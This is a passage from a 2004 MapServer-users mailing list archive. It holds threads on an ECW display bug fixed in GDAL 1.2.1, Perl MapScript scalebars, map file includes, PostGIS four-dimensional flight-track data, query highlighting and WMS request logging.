mechanism to >> display the ECW changed? It seems that as soon as I reach a resolution >> where I go beyond the ECW resolution (1pixel:1pixel) it dies. > > > Jacob, > > I was able to reproduce a problem with ECW supersampling when assertions > are turned on in GDAL 1.2.0. I have just issued a GDAL 1.2.1 with this > issue > fixed, and suggested to Assefa that he upgrade to that as time permits. > > I am not absolutely positive if that is your problem or not. > > I suspect you are seeing differences between MapServer 4.0 and 4.2 because > MapServer 4.2 tries to use "dataset" level io calls when available. This > allows reading red, green and blue in one pass against ECW for instance, > resulting in better performance. However, it uses different code paths > which may have different issues. > > So ... if and when new binaries are available with GDAL 1.2.1 I would > suggest you try MapServer 4.2 again. In the meantime you could just set an > appropriate MINSCALE so the ECW would stop rendering when supersampled, > or switch back to the build that works. > > Finally, I will once again strongly suggest that folks running into > problems > like this try and reproduce it at the commandline with shp2img and > appropriate > extent and debug options. This often results in much more meaningful error > messages than you get on in a web application. > > Best regards, -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From woodbri at swoodbridge.com Fri Jun 25 12:36:48 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 25 Jun 2004 15:36:48 -0400 Subject: [Mapserver-users] Perl/Mapscript scalebar problem Message-ID: <40DC7ED0.5020204@swoodbridge.com> Hi all, I have a mapfile that works great in cgi mode and shows an embed scalebar as defined in the mapfile. When I use this same mapfile in a with Perl/mapscript the scalebar does not display! Is there something I have to do in mapscript to get the embedded scalebar to show up on the map? -Steve From eric at gomoos.org Fri Jun 25 12:57:55 2004 From: eric at gomoos.org (Eric Bridger) Date: 25 Jun 2004 15:57:55 -0400 Subject: [Mapserver-users] Perl/Mapscript scalebar problem In-Reply-To: <40DC7ED0.5020204@swoodbridge.com> References: <40DC7ED0.5020204@swoodbridge.com> Message-ID: <1088193481.1884.50.camel@ubet.gomoos.org> On Fri, 2004-06-25 at 15:36, Stephen Woodbridge wrote: > Hi all, > > I have a mapfile that works great in cgi mode and shows an embed > scalebar as defined in the mapfile. > > When I use this same mapfile in a with Perl/mapscript the scalebar does > not display! > > Is there something I have to do in mapscript to get the embedded > scalebar to show up on the map? > Hi Stephen, You have to do: # embed scale bar in map img my $scale_img = $map->drawScalebar(); $map->embedScalebar($scale_img); You have to do either: my $img = $map->prepareImage(); or $img = $map->draw(); first. Eric From bob.basques at ci.stpaul.mn.us Fri Jun 25 12:30:48 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Fri, 25 Jun 2004 14:30:48 -0500 Subject: [Mapserver-users] Map file organization. Message-ID: <40DC7D68.2020303@ci.stpaul.mn.us> All, Can one map file call another map file? Something like an include (c) or require(perl)? Thanks bobb From sgillies at frii.com Fri Jun 25 13:26:25 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 25 Jun 2004 14:26:25 -0600 Subject: [Mapserver-users] Map file organization. In-Reply-To: <40DC7D68.2020303@ci.stpaul.mn.us> References: <40DC7D68.2020303@ci.stpaul.mn.us> Message-ID: On Jun 25, 2004, at 1:30 PM, Bob Basques wrote: > All, > > Can one map file call another map file? Something like an include (c) > or require(perl)? > > Thanks > > bobb > No. But there is a related feature enhancement issue in the tracker http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=357 which will provide support for an inclusion directive. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From bitner at macnoise.com Fri Jun 25 13:29:05 2004 From: bitner at macnoise.com (David Bitner) Date: Fri, 25 Jun 2004 15:29:05 -0500 Subject: [Mapserver-users] postgis and 4d data in mapserver Message-ID: Off topic at first, but there are a number of PostGIS folks here too: I am looking at using postgis to work with airport traffic data. As part of this I need a time and elevation component. What is the best way to work with four dimensional data in postgis? What is an example of a query that would access either the elevation or the time component of the geometry? The next step of course, is creating a mapserver app. perhaps with flash, to display an animation of flights going over an area over a certain period of time. And also to be able to select the flight tracks by a line to get a cross section of the elevations the planes are at a certain point. But, it's sometimes best to take things one step at a time. Any and all pointers of course would be greatly appreciated. David *********************************** David W Bitner GIS Specialist Metropolitan Airports Comission From dblasby at refractions.net Fri Jun 25 13:46:44 2004 From: dblasby at refractions.net (David Blasby) Date: Fri, 25 Jun 2004 13:46:44 -0700 Subject: [Mapserver-users] postgis and 4d data in mapserver In-Reply-To: References: Message-ID: <40DC8F34.9050007@refractions.net> David Bitner wrote: > Off topic at first, but there are a number of PostGIS folks here too: > > I am looking at using postgis to work with airport traffic data. As part of > this I need a time and elevation component. What is the best way to work > with four dimensional data in postgis? What is an example of a query that > would access either the elevation or the time component of the geometry? > > The next step of course, is creating a mapserver app. perhaps with flash, to > display an animation of flights going over an area over a certain period of > time. And also to be able to select the flight tracks by a line to get a > cross section of the elevations the planes are at a certain point. But, > it's sometimes best to take things one step at a time. Any and all pointers > of course would be greatly appreciated. > The new "LWGEOM" PostGIS type support (x,y), (x,y,z), and (x,y,m,z) points, lines, polygons, and mulit* geometries. See the postgis mailing list for more details. NOTE: LWGEOMs are still in BETA (not many people are using them, so they are not well tested). dave From sgillies at frii.com Fri Jun 25 14:07:59 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 25 Jun 2004 15:07:59 -0600 Subject: [Mapserver-users] postgis and 4d data in mapserver In-Reply-To: <40DC8F34.9050007@refractions.net> References: <40DC8F34.9050007@refractions.net> Message-ID: On Jun 25, 2004, at 2:46 PM, David Blasby wrote: > David Bitner wrote: > >> Off topic at first, but there are a number of PostGIS folks here too: >> I am looking at using postgis to work with airport traffic data. As >> part of >> this I need a time and elevation component. What is the best way to >> work >> with four dimensional data in postgis? What is an example of a query >> that >> would access either the elevation or the time component of the >> geometry? >> The next step of course, is creating a mapserver app. perhaps with >> flash, to >> display an animation of flights going over an area over a certain >> period of >> time. And also to be able to select the flight tracks by a line to >> get a >> cross section of the elevations the planes are at a certain point. >> But, >> it's sometimes best to take things one step at a time. Any and all >> pointers >> of course would be greatly appreciated. > > The new "LWGEOM" PostGIS type support (x,y), (x,y,z), and (x,y,m,z) > points, lines, polygons, and mulit* geometries. > > See the postgis mailing list for more details. > > NOTE: LWGEOMs are still in BETA (not many people are using them, so > they are not well tested). > > dave Hey, I fly on planes! I *demand* maximum precision. :) David, mapserver is for drawing pictures of spatial data. It's great at what it does, but it's not an N dimensional visualization environment. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From bitner at macnoise.com Fri Jun 25 14:24:50 2004 From: bitner at macnoise.com (David Bitner) Date: Fri, 25 Jun 2004 16:24:50 -0500 Subject: [Mapserver-users] postgis and 4d data in mapserver In-Reply-To: Message-ID: >Hey, I fly on planes! I *demand* maximum precision. :) > >David, mapserver is for drawing pictures of spatial data. It's >great at what it does, but it's not an N dimensional visualization >environment. >cheers, >Sean Sean, not to worry, this application is for monitoring aircraft noise in the neighborhoods surrounding an urban airport. I won't make your plane crash. Mapserver would still only be used to create two dimensional maps. For the animations, it would just end up being a series of maps shown sequentially (possibly the flights being swf files overlayed on the background image in a flash application) that showed where the flight is at a particular time and a tail of a certain time length trailing behind it. For the elevation profile, I would just want to take the geometry from a line a user could draw on the map and query out what the elevations of the flights were and then any graph could be made elsewhere. The main thing is to be able to have a database that I can easily query out the elevation and time information at points along the flight track as well as looking at the track as a whole. Currently at my hands I have ArcSDE on top of Oracle (without the spatial extensions) and am looking to possibly to move to postgresql/postgis or oracle spatial to maintain this data. It sounds like LWGEOMs may be able to work for me (would I be able to get the elevation at a certain place in the line where it intersects a line in two dimensional space?) in postgis, but I am far from locked into anything right now. The basic point is to take a 2-d map, filter it by time, and use the powers of the database to drive other queries. From markadams at cuestasys.com Fri Jun 25 14:22:42 2004 From: markadams at cuestasys.com (Mark Adams) Date: Fri, 25 Jun 2004 17:22:42 -0400 Subject: [Mapserver-users] Query results highlighting Message-ID: <001001c45afa$8cfe0cc0$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C45AD9.05EC6CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi folks, =20 Quick question from a newbie: is there a way to change the size/intensity of the highlighting of query results? In my map file = I=92ve defined a Querymap layer, set to hilite in a bright yellow colour, but I=92ve noticed that for polygons layers where I=92ve only defined an Outlinecolor and no fill color, only a narrow outline gets highlighted, not the feature itself. As a result you have to squint at the screen to determine what features are actually =93highlighted=94. I could change = my map file so that all polygon layers are filled, but this seems extreme. Is there an other way to highlight the whole feature, or change the highlight outline to a thicker line? =20 Thanks. =20 ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_0011_01C45AD9.05EC6CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi folks,

 

Quick question from a newbie: is there a way to = change the size/intensity of the highlighting of query results? In my map file = I’ve defined a Querymap layer, set to hilite in a bright yellow colour, but I’ve = noticed that for polygons layers where I’ve only defined an Outlinecolor and no fill color, only a narrow outline gets highlighted, not the = feature itself. As a result you have to squint at the screen to determine what = features are actually “highlighted”. I could change my map file so = that all polygon layers are filled, but this seems extreme. Is there an other way to highlight the whole feature, or change the highlight outline to a thicker line?

 

Thanks.

 

------------------= ------------

Mark = Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South = Service Road

Burlington, ON = L7L 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_0011_01C45AD9.05EC6CC0-- From ed at topozone.com Fri Jun 25 14:42:23 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 25 Jun 2004 17:42:23 -0400 Subject: [Mapserver-users] Map file organization. Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B36D3@ptolemy.topozone.com> Bob - As I've suggested several times on this topic, you can also use the C preprocessor to process map files. You can put in all the #includes and #defines and #ifdefs you like - run it through your C compiler's preprocessor to produce your production map file. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Bob Basques Sent: Friday, June 25, 2004 3:31 PM To: Mapserver List Subject: [Mapserver-users] Map file organization. All, Can one map file call another map file? Something like an include (c) or require(perl)? Thanks bobb _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bob.basques at ci.stpaul.mn.us Fri Jun 25 14:55:37 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Fri, 25 Jun 2004 16:55:37 -0500 Subject: [Mapserver-users] postgis and 4d data in mapserver In-Reply-To: References: Message-ID: <40DC9F59.5060201@ci.stpaul.mn.us> > >Sean, not to worry, this application is for monitoring aircraft noise in the >neighborhoods surrounding an urban airport. I won't make your plane crash. > >Mapserver would still only be used to create two dimensional maps. For the >animations, it would just end up being a series of maps shown sequentially >(possibly the flights being swf files overlayed on the background image in a >flash application) that showed where the flight is at a particular time and >a tail of a certain time length trailing behind it. > I'm building something similar for a GPS tracking service that would use MapServer as the background. I'm using DHTML though for the animation pieces. There might be some overlap here. I would be interested to hear more. > For the elevation >profile, I would just want to take the geometry from a line a user could >draw on the map and query out what the elevations of the flights were and >then any graph could be made elsewhere. The main thing is to be able to >have a database that I can easily query out the elevation and time >information at points along the flight track as well as looking at the track >as a whole. > Very interesting idea. so a cross-section (or at least where the flightpaths cross) of a user drawn line would be built based on data from the DB. Hmmmm, how about adding in the different plane types (body styles as well) if they are in the database. > Currently at my hands I have ArcSDE on top of Oracle (without >the spatial extensions) and am looking to possibly to move to >postgresql/postgis or oracle spatial to maintain this data. > I don't think you would be required to move to Oracle Spatial for this, it may help out down the road for integrating possible additional themes of data though. All the functionality you describe could be built without a Spatial DB store, except of cource for locating the flightpath, which I assume is some set of points over time, similar to a GPS set of records. > It sounds like >LWGEOMs may be able to work for me (would I be able to get the elevation at >a certain place in the line where it intersects a line in two dimensional >space?) in postgis, but I am far from locked into anything right now. The >basic point is to take a 2-d map, filter it by time, and use the powers of >the database to drive other queries. > > The math to get the intersection is pretty straight forward, if you have a line for the section and a flightpath line (or series of line segments in sequence with the time indexes attached.) I would need to see an example of the data to be sure. What about attributing the flightpath with a label that changes while the location changes. These intersection points could be labelled for all flight paths and even a MAX/MIN/MEAN report generated for hiest/Lowest/ and average height of flightpath. Do you have any Noise data, you could even add in a noise radius to the section view of the ground. Actually, the same formulas used for displaying the points of intersection between the flightpaths and the section line, could also be used to show ground elevations with the addtion of a surface model DB (TIN file). Hmmm, this sounds like a fun project. Just let me know if you want me to make any more work for you. :c) bobb >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From bob.basques at ci.stpaul.mn.us Fri Jun 25 15:17:32 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Fri, 25 Jun 2004 17:17:32 -0500 Subject: [Mapserver-users] postgis and 4d data in mapserver In-Reply-To: References: Message-ID: <40DCA47C.1090502@ci.stpaul.mn.us> David, Some more thoughts. Instead of a line to be queryied from, how about using a point and finding the intersections of the flightpaths witha cylinder out some radius from the point picked, this would give a more realistic view of things as well as not having to worry about getting the query line perpendicular to the majority of flightpaths. It would also aloow for those paths that fly near bu t ove directly over a particular spot. Ok, I'm heading home now, I'm not going to thik about it anymore till Monday, but watch out then . . . . bobb > >Sean, not to worry, this application is for monitoring aircraft noise in the >neighborhoods surrounding an urban airport. I won't make your plane crash. > >Mapserver would still only be used to create two dimensional maps. For the >animations, it would just end up being a series of maps shown sequentially >(possibly the flights being swf files overlayed on the background image in a >flash application) that showed where the flight is at a particular time and >a tail of a certain time length trailing behind it. For the elevation >profile, I would just want to take the geometry from a line a user could >draw on the map and query out what the elevations of the flights were and >then any graph could be made elsewhere. The main thing is to be able to >have a database that I can easily query out the elevation and time >information at points along the flight track as well as looking at the track >as a whole. Currently at my hands I have ArcSDE on top of Oracle (without >the spatial extensions) and am looking to possibly to move to >postgresql/postgis or oracle spatial to maintain this data. It sounds like >LWGEOMs may be able to work for me (would I be able to get the elevation at >a certain place in the line where it intersects a line in two dimensional >space?) in postgis, but I am far from locked into anything right now. The >basic point is to take a 2-d map, filter it by time, and use the powers of >the database to drive other queries. > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From ed at topozone.com Fri Jun 25 16:00:19 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 25 Jun 2004 19:00:19 -0400 Subject: [Mapserver-users] postgis and 4d data in mapserver Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B36D6@ptolemy.topozone.com> Sean - There are a couple of Northwest Airlines pilots on leave right now because they, too demanded - and got - maximum precision. They forgot that they SHOULD have been demanding maximum *accuracy*.... - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Sean Gillies Sent: Friday, June 25, 2004 5:08 PM To: David Blasby Cc: Mapserver-Users at Lists. Gis. Umn. Edu; David Bitner Subject: Re: [Mapserver-users] postgis and 4d data in mapserver On Jun 25, 2004, at 2:46 PM, David Blasby wrote: > David Bitner wrote: > >> Off topic at first, but there are a number of PostGIS folks here too: >> I am looking at using postgis to work with airport traffic data. As >> part of this I need a time and elevation component. What is the best >> way to work with four dimensional data in postgis? What is an >> example of a query that would access either the elevation or the time >> component of the geometry? >> The next step of course, is creating a mapserver app. perhaps with >> flash, to display an animation of flights going over an area over a >> certain period of time. And also to be able to select the flight >> tracks by a line to get a cross section of the elevations the planes >> are at a certain point. >> But, >> it's sometimes best to take things one step at a time. Any and all >> pointers of course would be greatly appreciated. > > The new "LWGEOM" PostGIS type support (x,y), (x,y,z), and (x,y,m,z) > points, lines, polygons, and mulit* geometries. > > See the postgis mailing list for more details. > > NOTE: LWGEOMs are still in BETA (not many people are using them, so > they are not well tested). > > dave Hey, I fly on planes! I *demand* maximum precision. :) David, mapserver is for drawing pictures of spatial data. It's great at what it does, but it's not an N dimensional visualization environment. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From m.meier at spiekermann.de Sat Jun 26 02:24:49 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Sat, 26 Jun 2004 11:24:49 +0200 Subject: [Mapserver-users] perl/mapscript segfault with CGI Message-ID: <40DD40E1.9060307@spiekermann.de> Hello list, the following (reduced on minimum) program runs fine. But if I change the order of the two statements "my $map = new..." and "my $vv = CGI..." the I get a segfault in the line "$slayer->draw...". Does someone has an idea if i do something wrong? Or how i can debug to get more information? I'm using Linux (suse 9) and mapserver 4.0.2. Thank you Manfred #!/usr/bin/perl use strict; use CGI qw/:standard/; use mapscript; my $map = new mapscript::mapObj ("/usr/local/httpd/cgi-bin/" . "essen/t1lin.map"); my $vv = CGI::Vars(); my $img = $map->prepareImage (); my $slayer = $map->getLayerByName("stadtplan_2"); $slayer->draw($map, $img); $map->drawLabelCache ($img); my $file = "/tmp/map000"; $img->save ($file); The MAP-File is like: # # Start of map file # NAME t1 STATUS ON SIZE 800 500 EXTENT 2562000 5696000 2579000 5711000 UNITS METERS TRANSPARENT OFF SHAPEPATH "/usr/local/MAP-TEST" LAYER NAME stadtplan_2 TYPE raster STATUS default DATA "stadtplan.tif" END # LAYER END # Map File From oliver_ishmael at hotmail.com Sun Jun 27 04:03:56 2004 From: oliver_ishmael at hotmail.com (Oliver Ishmael) Date: Sun, 27 Jun 2004 12:03:56 +0100 Subject: [Mapserver-users] .map metadata....help me! Message-ID: I have recently started using Mapserver and have fallen at the first hurdle! Where can i find the information required for the .MAP file for my data... such as IMAGETYPE EXTENT SIZE SHAPEPATH IMAGECOLOUR PROJECTION Many thanks in advance for any help/advice that you can provide. Cheers Olly Ishmael _________________________________________________________________ It's fast, it's easy and it's free. Get MSN Messenger today! http://www.msn.co.uk/messenger From arnulf.christl at ccgis.de Sun Jun 27 04:11:24 2004 From: arnulf.christl at ccgis.de (Arnulf Christl) Date: Sun, 27 Jun 2004 13:11:24 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers In-Reply-To: <26FAB31EFF50034782DFE474AB44FE3E029359@nt-sf-exchange.Windows2000> References: <26FAB31EFF50034782DFE474AB44FE3E029359@nt-sf-exchange.Windows2000> Message-ID: <40DEAB5C.8010503@ccgis.de> Frieso ter Haseborg wrote: >Hi, > >no, basic logging of the requests is not what I want - then of course the server logs would do. > >What I'm searching for is way, "to log the requests the UMN wms-client sends to a remote wms-server". So no server-side logging, but client-side logging for debugging purposes. > > Hey, a late response. We do all the WMS overlaying inthe client and can then comfortably log every detail from there (also a great help when statistically disecting your users). You can then differentiate users and additionally have a little more information about whether the request really reached the users eye or not. Precondition obviously is that the WMS doesn't get queried by any other client. Technically no problem but all that intentional openness of mapping services gets warped. If that is the problem we wrap the WMS request in a small PHP which writes additional info to a db log - but then again the user info misses. We are curtently extending more of these ideas in the Mapbender Client Suite, if you are interested in joining development drop us a note. Cheers, Arnulf. -- ---------------------------- CCGIS Christl & Stamm GbR ---------------------------- http://www.ccgis.de http://www.mapbender.org ---------------------------- Service: +49 (0)228 90826 0 Direct: +49 (0)228 90826 23 Fax: +49 (0)228 90826 11 ---------------------------- CCGIS Christl & Stamm GbR Siemensstra?e 8 53121 Bonn GERMANY >I just want to log the url the mapserver-client generates and sends to a remote wms-server I've no access to. In this case MS_ERRORFILE as mentioned by Daniel did it, since the client received a HTTP request error. But a general mechanism to log the generated url would still be interesting. > >TIA, > >Frieso ter Haseborg >- Software Development - > >-- > >-------------------------------------------------- >S&F Datentechnik GmbH&Co.KG >Reimersstr. 41b >26789 Leer, Germany > > > > > >>-----Original Message----- >>From: Andrew Haigh [mailto:andrew at andrewhaigh.net] >>Sent: Tuesday, June 22, 2004 8:02 PM >>To: Daniel Morissette >>Cc: Frieso ter Haseborg; moeller at basis5.de; >>mapserver-users at lists.gis.umn.edu >>Subject: Re: [Mapserver-users] How to log requests on remote >>wms-servers >> >> >>Everyone, >> >>If all you want to do is log requests, can't you just use your >>webserver logs? >> >>Hope this helps. >> >>Andrew >> >> >>On 22 Jun 2004, at 13:38, Daniel Morissette wrote: >> >> >> >>>Frieso ter Haseborg wrote: >>> >>> >>>>Hi, >>>>LOG "c:\Programme\Apache Group\Apache2\htdocs\tmp\ms.log" >>>>or >>>>LOG ms.log >>>>gives no difference. So far I never had any problems using '/' >>>>instead of '\'. >>>>Are there any other requirements to be met for ms to get a >>>> >>>> >>debug-log? >> >> >>>The LOG directive applies only to the mapserv CGI via the >>> >>> >>traditional >> >> >>>CGI interface. It has no effect with the WMS or WFS >>> >>> >>interfaces or with >> >> >>>MapScript. >>> >>>BTW, there are two other ways to generate log output in MapServer: >>>- Setting the MS_ERRORFILE environment variable will log all error >>>messages to the specified file >>>- Compiling with --enable-debug (i.e. adding the >>> >>> >>-DENABLE_STDERR_DEBUG >> >> >>>-DNEED_NONBLOCKING_STDERR compile flags) will generate lots >>> >>> >>of debug >> >> >>>output to stderr (i.e. to the Apache error_log). >>> >>>We've been talking about unifying all this, you'll find >>> >>> >>more details >> >> >>>in bug 709: >>>http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=709 >>> >>> >>>Now, if all you need is to log requests then none of the >>> >>> >>above will do >> >> >>>what you want. In this case you could simply create a >>> >>> >>wrapper script >> >> >>>that logs the request and passes control to the mapserv.exe. >>> >>>Daniel >>>-- >>>------------------------------------------------------------ >>> Daniel Morissette dmorissette at dmsolutions.ca >>> DM Solutions Group http://www.dmsolutions.ca/ >>>------------------------------------------------------------ >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >> >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From m.meier at spiekermann.de Sun Jun 27 04:37:12 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Sun, 27 Jun 2004 13:37:12 +0200 Subject: [Mapserver-users] .map metadata....help me! In-Reply-To: References: Message-ID: <40DEB168.7060708@spiekermann.de> I'm not sure that i understand, what you are asking for. Look at the documentation: http://mapserver.gis.umn.edu/doc42/mapfile-reference.html IMAGETYPE, SIZE and IMAGECOLOUR depend on what you want to do with the resulting image. EXTENT, SHAPEPATH and PROJECTION depend on what input data you have. Please be more specific. Manfred Oliver Ishmael schrieb: > I have recently started using Mapserver and have fallen at the first > hurdle! > > Where can i find the information required for the .MAP file for my > data... such as > IMAGETYPE > EXTENT > SIZE > SHAPEPATH > IMAGECOLOUR > > PROJECTION > > Many thanks in advance for any help/advice that you can provide. > > Cheers > Olly Ishmael > > _________________________________________________________________ > It's fast, it's easy and it's free. Get MSN Messenger today! > http://www.msn.co.uk/messenger > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From luceror at geoplan.ca Sun Jun 27 05:40:41 2004 From: luceror at geoplan.ca (Rafael Lucero) Date: Sun, 27 Jun 2004 08:40:41 -0400 Subject: [Mapserver-users] Linear Referencing Support Message-ID: <20040627123915.HMJV326229.web01-imail.rogers.com@rafael> This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C45C22.6DD007D0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hello all, =20 I=92m currently investigating the possibility of using UMN Mapserver = in a transportation/asset management environment. While I have briefly = tested Mapserver, created some simple sites and read some of the documentation, = I have some questions that I hope someone here may be able to answer. =20 1. Does Mapserver support linear vector data with measure values (x,y,m or x,y,z,m)? More specifically, I have both Shapefiles and Oracle = Spatial tables that have measures =96 can Mapserver display them? =20 2. If Mapserver can display linear features with measure values, can I perform spatial queries against the data? For example, if I click on a point along a linear feature, is there a method by which I can query the measure value that corresponded to the mouse click? 3. Is there currently any support for dynamic segmentation? In other words, if I have either a point or line event table that is linearly referenced against a spatial route layer, can Mapserver display these events? 4. Are there any developments currently underway by Mapserver developers to build in sophisticated linear referencing support? If = not, is this an area that is being looked at for future development? =20 Finally, has anyone here been successful in using Mapserver for the = purposes of displaying linearly referenced data (either through native Mapserver methods, or in an ad-hoc fashion)? I would be extremely interested in hearing from anyone who has had any sort of experience (good or bad) in = this field.=20 =20 Regards, =20 Rafael Lucero --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.710 / Virus Database: 466 - Release Date: 23/06/2004 =20 ------=_NextPart_000_0017_01C45C22.6DD007D0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable

Hello = all,

 

  I’m currently = investigating the possibility of using UMN Mapserver in a transportation/asset management environment.  While I have briefly tested = Mapserver, created some simple sites and read some = of the documentation, I have some questions that I hope someone here may be = able to answer.

 

  1. Does Mapserver support linear vector data with measure values (x,y,m or x,y,z,m)?  More specifically, I have = both Shapefiles and Oracle Spatial tables that = have measures – can Mapserver display = them?  =
  2. If Mapserver can display linear features with measure values, can I perform spatial = queries against the data?  For = example, if I click on a point along a linear feature, is there a method by = which I can query the measure value that corresponded to the mouse = click?
  3. Is there currently any support for = dynamic segmentation?  In = other words, if I have either a point or line event table that is linearly = referenced against a spatial route layer, can Mapserver display these events?
  4. Are there any developments currently = underway by Mapserver developers to build in = sophisticated linear referencing support?  = If not, is this an area that is being looked at for future = development?

 

Finally, has anyone = here been successful in using Mapserver for the = purposes of displaying linearly referenced data (either through native Mapserver methods, or in an ad-hoc fashion)?  I would be extremely interested = in hearing from anyone who has had any sort of experience (good or bad) in = this field.

 

Regards,

 

Rafael = Lucero


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.710 / Virus Database: 466 - Release Date: 23/06/2004

------=_NextPart_000_0017_01C45C22.6DD007D0-- From armin.burger at gmx.net Sun Jun 27 14:24:11 2004 From: armin.burger at gmx.net (Armin Burger) Date: Sun, 27 Jun 2004 23:24:11 +0200 Subject: [Mapserver-users] ECW not showing below certain scale Message-ID: <200406272122.i5RLMrFS018196@lists.gis.umn.edu> Assefa, Frank I tried too the new version of Mapserver with GDAL 1.2.1 and now I didn't encounter any more the errors I mentioned some days ago (that were similar to the ones Jacob found). Thanks again for the quick problem solving and providing of the new copiled version. Armin > I have put a new version of mapserver 4.3 (current CVS) build with GDAL > 1.2.1 at > http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html > (llok at the end of the page for the developpment verion). Let me know > if it solves the ECW issue. > Later, > Frank Warmerdam wrote: >> Delfos, Jacob wrote: >> >>> Hi All, >>> >>> I've been running into a little problem with mapserver 4.2, which I >>> was also experiencing in Chameleon 1.99; when I zoom in quite far on >>> the map (holding an ecw image), the map doesn't show up. It keeps >>> trying to load, but nothing comes, suggesting it got stuck somewhere. >>> CPU activity is initially at maximum for a few seconds (as normal when >>> loading the map) but then drops while the map doesn't show (I'm >>> loading the map in the browser on the server itself). The mapserv >>> process won't allow itself to get killed either. >>> >>> If I simply replace my mapserv.exe file with one of version 4.0, the >>> problem is gone. Of course the map takes quite a few seconds to show, >>> which is normal when zooming close on an ECW, but it does show. >>> >>> I've tried this quite a few times in different browsers, but the map >>> never shows at that scale when the ECW is in there. I have tried >>> different mapfiles with different ECW's as well. Has the mechanism to >>> display the ECW changed? It seems that as soon as I reach a resolution >>> where I go beyond the ECW resolution (1pixel:1pixel) it dies. >> >> >> Jacob, >> >> I was able to reproduce a problem with ECW supersampling when assertions >> are turned on in GDAL 1.2.0. I have just issued a GDAL 1.2.1 with this >> issue >> fixed, and suggested to Assefa that he upgrade to that as time permits. >> >> I am not absolutely positive if that is your problem or not. >> >> I suspect you are seeing differences between MapServer 4.0 and 4.2 because >> MapServer 4.2 tries to use "dataset" level io calls when available. This >> allows reading red, green and blue in one pass against ECW for instance, >> resulting in better performance. However, it uses different code paths >> which may have different issues. >> >> So ... if and when new binaries are available with GDAL 1.2.1 I would >> suggest you try MapServer 4.2 again. In the meantime you could just set an >> appropriate MINSCALE so the ECW would stop rendering when supersampled, >> or switch back to the build that works. >> >> Finally, I will once again strongly suggest that folks running into >> problems >> like this try and reproduce it at the commandline with shp2img and >> appropriate >> extent and debug options. This often results in much more meaningful error >> messages than you get on in a web application. >> >> Best regards, > -- > ---------------------------------------------------------------- > Assefa Yewondwossen > Software Analyst > Email: assefa at dmsolutions.ca > http://www.dmsolutions.ca/ > Phone: (613) 565-5056 (ext 14) > Fax: (613) 565-0925 > ---------------------------------------------------------------- > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From douguoli at yahoo.com.cn Sun Jun 27 18:07:29 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Mon, 28 Jun 2004 09:07:29 +0800 (CST) Subject: [Mapserver-users] Questions about using MapInfo Tab and PHP/MapScript Message-ID: <20040628010729.83122.qmail@web15214.mail.bjs.yahoo.com> --0-1071427848-1088384849=:68064 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Hi, I am a newbie to MapServer. I'm now trying to use 